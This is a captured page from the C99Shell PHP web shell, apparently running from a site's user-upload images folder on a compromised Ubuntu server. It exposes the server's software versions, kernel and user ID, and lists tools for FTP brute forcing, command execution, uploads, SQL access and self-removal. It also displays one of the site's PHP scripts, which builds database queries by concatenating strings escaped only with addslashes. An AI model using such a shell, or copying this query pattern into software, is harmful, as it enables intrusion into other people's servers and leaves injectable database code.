!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/www/message.axkickboxing.com/public_html/images/user_uploaded/   drwxrwxr-x
Free 11.3 GB of 97.11 GB (11.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     updatereferences.php (918 B)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/php -q
<?
$username
=$_SERVER['argv'][1];
$oldfilename=$_SERVER['argv'][2];
$newfilename=$_SERVER['argv'][3];

function 
urlmacro($username,$filename) {
    return 
rawurlencode($username).'/'.rawurlencode($filename);
}

$oldtext=urlmacro($username,$oldfilename);
$newtext=urlmacro($username,$newfilename);

pg_connect("dbname=ax");
pg_query("begin;");
$result=pg_query("update profiles set about=replace(about,'".addslashes($oldtext)."','".addslashes($newtext)."') where name='".addslashes($username)."' and position('".addslashes($oldtext)."' in about)>0;");
echo 
"updated ".pg_affected_rows($result)." profiles\n";
$result=pg_query("update msgboard_messages set text=replace(text,'".addslashes($oldtext)."','".addslashes($newtext)."') where name='".addslashes($username)."' and position('".addslashes($oldtext)."' in text)>0;");
echo 
"updated ".pg_affected_rows($result)." messages\n";
pg_query("commit;");
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.022 ]--